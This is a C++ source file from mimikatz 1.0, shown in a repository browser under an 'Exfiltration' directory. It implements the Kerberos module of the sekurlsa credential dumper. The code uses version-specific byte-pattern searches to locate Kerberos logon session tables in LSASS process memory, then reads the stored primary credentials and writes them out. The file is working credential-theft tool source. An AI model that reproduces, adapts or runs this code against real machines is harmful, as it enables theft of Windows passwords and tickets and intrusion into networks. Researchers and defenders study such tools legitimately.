aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp
blob: dae52d2e1a3b3d052d923c68efedac21e6b0b60b (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
/*	Benjamin DELPY `gentilkiwi`
	http://blog.gentilkiwi.com
	benjamin@gentilkiwi.com
	Licence    : http://creativecommons.org/licenses/by/3.0/fr/
	Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
*/
#include "kerberos.h"
#include "..\..\global.h"
mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_kerberos::pModKERBEROS = NULL;
mod_mimikatz_sekurlsa_kerberos::PKIWI_KERBEROS_LOGON_SESSION mod_mimikatz_sekurlsa_kerberos::KerbLogonSessionList = NULL; //reinterpret_cast<mod_mimikatz_sekurlsa_kerberos::PKIWI_KERBEROS_LOGON_SESSION>(NULL);
long mod_mimikatz_sekurlsa_kerberos::offsetMagic = 0;
PRTL_AVL_TABLE mod_mimikatz_sekurlsa_kerberos::KerbGlobalLogonSessionTable = NULL; //reinterpret_cast<PRTL_AVL_TABLE>(NULL);

bool mod_mimikatz_sekurlsa_kerberos::getKerberos(vector<wstring> * arguments)
{
	vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
	monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getKerberosLogonData, wstring(L"kerberos")));
	return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
}

bool mod_mimikatz_sekurlsa_kerberos::searchKerberosFuncs()
{
#ifdef _M_X64
	BYTE PTRN_WALL_KerbUnloadLogonSessionTable[]= {0x48, 0x8b, 0x18, 0x48, 0x8d, 0x0d};
	LONG OFFS_WALL_KerbUnloadLogonSessionTable	= sizeof(PTRN_WALL_KerbUnloadLogonSessionTable);

	BYTE PTRN_WALL_KerbFreeLogonSessionList[]	= {0x48, 0x3b, 0xfe, 0x0f, 0x84};
	LONG OFFS_WALL_KerbFreeLogonSessionList		= -4;
#elif defined _M_IX86
	BYTE PTRN_WNO8_KerbUnloadLogonSessionTable[]= {0x85, 0xc0, 0x74, 0x1f, 0x53};
	LONG OFFS_WNO8_KerbUnloadLogonSessionTable	= -(3 + 4);
	BYTE PTRN_WIN8_KerbUnloadLogonSessionTable[]= {0x85, 0xc0, 0x74, 0x2b, 0x57}; // 2c au lieu de 2b pour avant le RC
	LONG OFFS_WIN8_KerbUnloadLogonSessionTable	= -(6 + 4);

	BYTE PTRN_WALL_KerbFreeLogonSessionList[]	= {0xeb, 0x0f, 0x6a, 0x01, 0x57, 0x56, 0xe8};
	LONG OFFS_WALL_KerbFreeLogonSessionList		= -4;
#endif
	if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModKERBEROS && !(KerbGlobalLogonSessionTable || KerbLogonSessionList))
	{
		PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0;

		if(mod_system::GLOB_Version.dwMajorVersion < 6)
		{
			pointeur= reinterpret_cast<PBYTE *>(&KerbLogonSessionList);
			pattern	= PTRN_WALL_KerbFreeLogonSessionList;
			taille	= sizeof(PTRN_WALL_KerbFreeLogonSessionList);
			offset	= OFFS_WALL_KerbFreeLogonSessionList;

			if(mod_system::GLOB_Version.dwMinorVersion < 2)
				offsetMagic = 8;
		}
		else
		{
			pointeur= reinterpret_cast<PBYTE *>(&KerbGlobalLogonSessionTable);

#ifdef _M_X64
			pattern	= PTRN_WALL_KerbUnloadLogonSessionTable;
			taille	= sizeof(PTRN_WALL_KerbUnloadLogonSessionTable);
			offset	= OFFS_WALL_KerbUnloadLogonSessionTable;
#elif defined _M_IX86
			if(mod_system::GLOB_Version.dwBuildNumber < 8000)
			{
				pattern	= PTRN_WNO8_KerbUnloadLogonSessionTable;
				taille	= sizeof(PTRN_WNO8_KerbUnloadLogonSessionTable);
				offset	= OFFS_WNO8_KerbUnloadLogonSessionTable;
			}
			else
			{
				if(mod_system::GLOB_Version.dwBuildNumber < 8400) // petite correction pour avant la RC
					PTRN_WIN8_KerbUnloadLogonSessionTable[3] = 0x2c;
				pattern	= PTRN_WIN8_KerbUnloadLogonSessionTable;
				taille	= sizeof(PTRN_WIN8_KerbUnloadLogonSessionTable);
				offset	= OFFS_WIN8_KerbUnloadLogonSessionTable;
			}
#endif
		}

		if(HMODULE monModule = LoadLibrary(L"kerberos"))
		{
			MODULEINFO mesInfos;
			if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
			{
				mod_memory::genericPatternSearch(pointeur, L"kerberos", pattern, taille, offset);
				*pointeur += pModKERBEROS->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
			}
			FreeLibrary(monModule);
		}
	}
	return (pModKERBEROS && (KerbGlobalLogonSessionTable || KerbLogonSessionList));
}

bool WINAPI mod_mimikatz_sekurlsa_kerberos::getKerberosLogonData(__in PLUID logId, __in bool justSecurity)
{
	if(searchKerberosFuncs())
	{
		PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL;
		DWORD taille;
		BYTE * monBuff = NULL;
		
		if(KerbGlobalLogonSessionTable)
		{
			taille = sizeof(KIWI_KERBEROS_PRIMARY_CREDENTIAL);
			monBuff = new BYTE[taille];
			
			if(PKIWI_KERBEROS_PRIMARY_CREDENTIAL pLogSession = reinterpret_cast<PKIWI_KERBEROS_PRIMARY_CREDENTIAL>(mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(KerbGlobalLogonSessionTable, FIELD_OFFSET(KIWI_KERBEROS_PRIMARY_CREDENTIAL, LocallyUniqueIdentifier), logId)))
			{
				if(mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS))
				{
					pLogSession = reinterpret_cast<PKIWI_KERBEROS_PRIMARY_CREDENTIAL>(monBuff);
					mesCreds =  &pLogSession->credentials;
				}
			}
		}
		else
		{
			taille = sizeof(KIWI_KERBEROS_LOGON_SESSION) + offsetMagic;
			monBuff = new BYTE[taille];
			if(PKIWI_KERBEROS_LOGON_SESSION pLogSession = reinterpret_cast<PKIWI_KERBEROS_LOGON_SESSION>(mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast<PLIST_ENTRY>(KerbLogonSessionList), FIELD_OFFSET(KIWI_KERBEROS_LOGON_SESSION, LocallyUniqueIdentifier) + offsetMagic, logId)))
			{
				if(mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS))
				{
					pLogSession = reinterpret_cast<PKIWI_KERBEROS_LOGON_SESSION>(monBuff);
					if(offsetMagic != 0)
						pLogSession = reinterpret_cast<PKIWI_KERBEROS_LOGON_SESSION>(reinterpret_cast<PBYTE>(pLogSession) + offsetMagic);
					mesCreds =  &pLogSession->credentials;
				}
			}
		}
		mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity);
		delete [] monBuff;
	}
	else (*outputStream) << L"n.a. (kerberos KO)";

	return true;
}